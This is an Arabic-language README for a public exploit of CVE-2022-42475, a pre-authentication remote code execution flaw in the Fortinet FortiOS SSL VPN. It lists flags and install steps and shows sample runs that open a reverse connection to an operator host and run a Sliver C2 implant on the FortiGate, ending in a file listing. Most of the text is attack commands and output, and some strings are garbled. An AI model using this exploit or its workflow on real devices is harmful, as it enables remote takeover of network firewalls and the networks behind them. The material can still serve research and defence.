
استغلال لـ CVE-2022-42475، وهو تجاوز سعة الكومة قبل المصادقة في منتجات شبكات Fortinet
هذا هو الاستغلال لمنشور المدونة هنا: https://bishopfox.com/blog/exploit-cve-2022-42475
هذه النسخة من الاستغلال لن تعمل بدون قيامك، أيها المخترق، بتوفير عناوين الذاكرة اللازمة لـ ROP gadgets وغيرها. العمل لتحديد هذه البيانات هو معلومات سرية ومملوكة لـ Bishop Fox ولن أستطيع (ولا يمكنني) نشرها إلى جانب هذا الاستغلال. أثق أنك تفهم!
execve(binary_file).ملاحظة: في الوقت الحالي، يعمل وضع "التحقق فقط" على جميع الإصدارات المعروفة من FortiOS. ومع ذلك، تعمل الاستغلالات فقط ضد FortiOS 6.0.4 على أجهزة 100D. لم أعد أعمل في BF وبالتالي لا يمكنني نشر الاستغلال الموسع الذي يدعم حوالي 18 ألف هدف.
pip3 install PyCrypto
pip3 install pycryptodome
لن يقوم هذا بأي محاولة لاستغلال الثغرة، بل يؤدي إلى تعطيلها (يعاد تشغيل خادم SSL VPN عن بُعد تلقائيًا وفوريًا). يتم اكتشاف التعطل بطريقة استكشافية ويُبلغ عنه للمشغل.
شغّله باستخدام علامة التحقق -v:
$ ./x.py -t 192.168.0.10 -p 8443 -v
--[ CVE-2022-42475: ثغرة RCE عن بُعد قبل المصادقة في FortiGate ]--
--[ فريق Cosmos من Bishop Fox X ]--
[+] التشغيل في وضع التحقق فقط. لا يوجد RCE.
[>] اختبار ما إذا كان الهدف ضعيفًا (قد يستغرق 10 ثوانٍ)
[+] يبدو أن الهدف '192.168.0.10:8443' ضعيف
سيؤدي هذا إلى تفعيل الثغرة، نشر سلسلة ROP، والانتقال إلى الشيلكود. الشيلكود غير ضار ويعمل كالتالي:
0xbf/tmp/x على جهاز FortiGate0xbf آخر واحد إلى الاستغلال إذا نجح فك التشفيرالعلامات:
-t الهدف: المضيف/IP
-p منفذ الهدف
-e وضع الاستغلال
-c وضع الربط العكسي فقط
-H و -P عنوان IP الخاص بالمشغل: المنفذ (مطلوب)
-s إصدار برنامج FortiOS (مطلوب)
-m طراز الجهاز الذي يعمل عليه FortiOS
-d تفعيل التصحيح
مثال حيث نختار كلاً من إصدار البرنامج 6.0.4 وطراز الجهاز 100D:
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D 130 ⨯
--[ CVE-2022-42475: ثغرة RCE عن بُعد قبل المصادقة في FortiGate ]--
--[ فريق Cosmos من Bishop Fox X ]--
[+] إنشاء مفتاح AES عشوائي بطول 128 بت لتشفير الحمولة
[+] تشفير الحمولة...
[+] استخدام شيلكود مخبأ. عدّل ./x.py (ابحث عن 'shellcode.s') لفرض التحديث.
[+] تم التهيئة للربط العكسي إلى 192.168.0.99:443
[+] بدء مستمع الحمولة المشفرة...
[+] التحضير للاستغلال...
[+] إرسال الطلب!
[+] استيراد الأدوات من 'exploit_data.json'
[<] تم ربط المستمع بالمنفذ 443، في انتظار الربط العكسي...
[+] التحقق من الأدوات...
[!] لم يتم تعريف أي طرازات أجهزة وظيفية لـ FortiOS '5.2.14'. تم الإزالة.
[!] لم يتم تعريف أي طرازات أجهزة وظيفية لـ FortiOS '5.6.9'. تم الإزالة.
[+] تم استيراد 797 هدفًا:
[-] 6.0.4 [ 1 هدف ] <=== 100D
[-] 5.2.14 [ 47 هدفًا ]
[-] 5.6.9 [ 60 هدفًا ]
[-] 6.0.13 [ 68 هدفًا ]
[-] 6.0.14 [ 67 هدفًا ]
[-] 6.0.15 [ 58 هدفًا ]
[-] 6.0.8 [ 67 هدفًا ]
[-] 6.2.11 [ 69 هدفًا ]
[-] 6.2.7 [ 75 هدفًا ]
[-] 6.4.10 [ 71 هدفًا ]
[-] 6.4.2 [ 62 هدفًا ]
[-] 6.4.3 [ 61 هدفًا ]
[-] 6.4.6 [ 73 هدفًا ]
[-] 6.4.9 [ 72 هدفًا ]
[-] 7.0.4 [ 53 هدفًا ]
[+] بدء الاستغلال
[<] طلب وارد من 192.168.0.10:22470
[<] تم استقبال حزمة الترحيب من الهدف!! رقم الطراز: 100D
[<] إرسال حمولة مشفرة بحجم 36 بايت
[<] انتهى إرسال الحمولة (36 بايت)، في انتظار الرد...
[<] تم استقبال الرد المتوقع ('100D') من 192.168.0.10
[<] الهدف ضعيف بثقة 100%.
[+] تم كل شيء!
إذا حذفت -m لاختيار طراز الجهاز، فسيقوم الاستغلال بتجربة جميع أهداف الجهاز تقريبًا لإصدار البرنامج المحدد.
0xbf/tmp/x0xbf إلى الاستغلالexecve("/tmp/x")العلامات:
-t الهدف: المضيف/IP
-p منفذ الهدف
-e وضع الاستغلال
-f filename المسار إلى الملف الثنائي لتنفيذه على الهدف
-H و -P عنوان IP الخاص بالمشغل: المنفذ للربط العكسي (مطلوب)
-s إصدار برنامج FortiOS (مطلوب)
-m طراز الجهاز الذي يعمل عليه FortiOS
-d تفعيل التصحيح
Sliver:
carl@pluto:~$ ./sliver-server_linux
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'
جميع المخترقين ينالون سلاحًا حيًا
[*] الخادم v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] مرحبًا بك في شيل Sliver، اكتب 'help' للحصول على الخيارات
[server] sliver > mtls -l 8888
[*] بدء مستمع mTLS ...
[*] تم بدء الوظيفة #1 بنجاح
الاستغلال:
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D
--[ CVE-2022-42475: ثغرة RCE عن بُعد قبل المصادقة في FortiGate ]--
--[ فريق Cosmos من Bishop Fox X ]--
[+] سيحاول الاستغلال تنفيذ execve("implant5") على الهدف
...
[<] الهدف ضعيف بثقة 100%.
[+] تم كل شيء.
والعودة إلى Sliver:
[*] الجلسة d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - الإثنين, 06 مارس 2023 22:18:30 MST
[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad
[*] الجلسة النشطة implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)
[server] sliver (implant5) > whoami
معرف تسجيل الدخول: <خطأ>
[server] sliver (implant5) > ls
/ (19 عنصرًا, 10.0 KiB)
======================
-rw-r--r-- .ash_history 590 B الثلاثاء 31 يناير 11:31:57 +0000 2023
drwxr-xr-x bin <dir> الثلاثاء 31 يناير 11:04:35 +0000 2023
drwxr-xr-x data <dir> الثلاثاء 31 يناير 05:24:10 +0000 2023
drwxr-xr-x data2 <dir> الثلاثاء 31 يناير 11:40:01 +0000 2023
drwxr-xr-x dev <dir> الثلاثاء 31 يناير 05:26:16 +0000 2023
Lrwxrwxrwx etc -> data/etc 8 B الإثنين 07 يناير 18:03:23 +0000 2019
Lrwxrwxrwx fortidev -> / 1 B الإثنين 07 يناير 18:03:23 +0000 2019
Lrwxrwxrwx init -> /sbin/init 10 B الإثنين 07 يناير 18:03:23 +0000 2019
drwxr-xr-x lib <dir> الإثنين 07 يناير 18:03:30 +0000 2019
Lrwxrwxrwx lib64 -> lib 3 B الإثنين 07 يناير 18:03:23 +0000 2019
drwxr-xr-x migadmin <dir> الثلاثاء 31 يناير 05:23:26 +0000 2023
dr-xr-xr-x proc <dir> الثلاثاء 31 يناير 05:23:13 +0000 2023
drwx------ root <dir> الإثنين 07 يناير 17:17:34 +0000 2019
drwxr-xr-x sbin <dir> الثلاثاء 31 يناير 05:23:27 +0000 2023
drwxr-xr-x security-rating <dir> الإثنين 07 يناير 18:01:04 +0000 2019
drwxr-xr-x sys <dir> الثلاثاء 31 يناير 05:23:27 +0000 2023
dtrwxrwxrwx tmp <dir> الثلاثاء 31 يناير 11:40:01 +0000 2023
drwxr-xr-x usr <dir> الثلاثاء 31 يناير 05:23:27 +0000 2023
drwxr-xr-x var <dir> الثلاثاء 31 يناير 05:24:07 +0000 2023
لاحظ أن Sliver يُرجع <خطأ> لأن FortiOS هو نظام Linux نوعًا ما، ولا يعمل دائمًا بالطريقة المتوقعة. هذه مشكلة مع FortiOS، وليست مع Sliver.
لم أعد أعمل في Bishop Fox، لذا ستحتاج إلى متابعة GitHub الخاص بـ BF للحصول على تحديثات حول هذا.